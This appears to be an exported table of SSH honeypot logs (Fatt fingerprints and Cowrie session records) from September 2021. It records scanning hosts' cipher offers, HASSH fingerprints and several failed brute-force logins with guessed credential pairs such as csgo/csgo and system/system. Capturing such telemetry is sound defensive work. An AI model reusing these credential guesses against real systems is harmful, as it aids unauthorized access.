"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59092, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.015629", "@timestamp": "2021-09-20T11:06:53.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21528	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:53.015691+03	2021-09-20 14:15:03.777613+03	{"_id": "3wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59092, "timestamp": "2021-09-20T11:06:53.015691", "@timestamp": "2021-09-20T11:06:53.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21529	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:53.016255+03	2021-09-20 14:15:03.779614+03	{"_id": "4AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52836, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.016255", "@timestamp": "2021-09-20T11:06:53.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21530	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:53.742832+03	2021-09-20 14:15:03.780643+03	{"_id": "4QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49558, "timestamp": "2021-09-20T11:06:53.742832", "@timestamp": "2021-09-20T11:06:53.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21531	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:53.866215+03	2021-09-20 14:15:03.782643+03	{"_id": "4gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50890, "timestamp": "2021-09-20T11:06:53.866215", "@timestamp": "2021-09-20T11:06:53.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21532	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:53.940791+03	2021-09-20 14:15:03.783643+03	{"_id": "4wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44182, "timestamp": "2021-09-20T11:06:53.940791", "@timestamp": "2021-09-20T11:06:53.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21533	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.264133+03	2021-09-20 14:15:03.784614+03	{"_id": "5AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [csgo/csgo] failed", "session": "b37b4f7e599f", "@version": "1", "password": "csgo", "username": "csgo", "timestamp": "2021-09-20T11:06:53.264133Z", "@timestamp": "2021-09-20T11:06:53.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21534	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.288153+03	2021-09-20 14:15:03.785642+03	{"_id": "5QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "19325238ed3b", "@version": "1", "duration": 2.6431093215942383, "timestamp": "2021-09-20T11:06:53.288153Z", "@timestamp": "2021-09-20T11:06:53.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21535	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:53.363214+03	2021-09-20 14:15:03.787644+03	{"_id": "5gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [system/system] failed", "session": "66af4621e8ae", "@version": "1", "password": "system", "username": "system", "timestamp": "2021-09-20T11:06:53.363214Z", "@timestamp": "2021-09-20T11:06:53.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21536	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.438943+03	2021-09-20 14:15:03.788643+03	{"_id": "5wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0bbdbd5ee5a4", "@version": "1", "duration": 3.4278945922851562, "timestamp": "2021-09-20T11:06:53.438943Z", "@timestamp": "2021-09-20T11:06:53.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21537	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.45968+03	2021-09-20 14:15:03.789649+03	{"_id": "6AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1f9927d187ae", "@version": "1", "timestamp": "2021-09-20T11:06:53.459680Z", "@timestamp": "2021-09-20T11:06:53.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21538	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.483873+03	2021-09-20 14:15:03.790614+03	{"_id": "6QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "23fff7ddc752", "@version": "1", "duration": 3.060559034347534, "timestamp": "2021-09-20T11:06:53.483873Z", "@timestamp": "2021-09-20T11:06:53.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21539	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:53.618081+03	2021-09-20 14:15:03.792612+03	{"_id": "6gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "536231a66d87", "@version": "1", "duration": 10.031461477279663, "timestamp": "2021-09-20T11:06:53.618081Z", "@timestamp": "2021-09-20T11:06:53.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21540	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:53.687986+03	2021-09-20 14:15:03.793612+03	{"_id": "6wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [1e905c/1e905c] failed", "session": "43fb8879e29f", "@version": "1", "password": "1e905c", "username": "1e905c", "timestamp": "2021-09-20T11:06:53.687986Z", "@timestamp": "2021-09-20T11:06:53.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
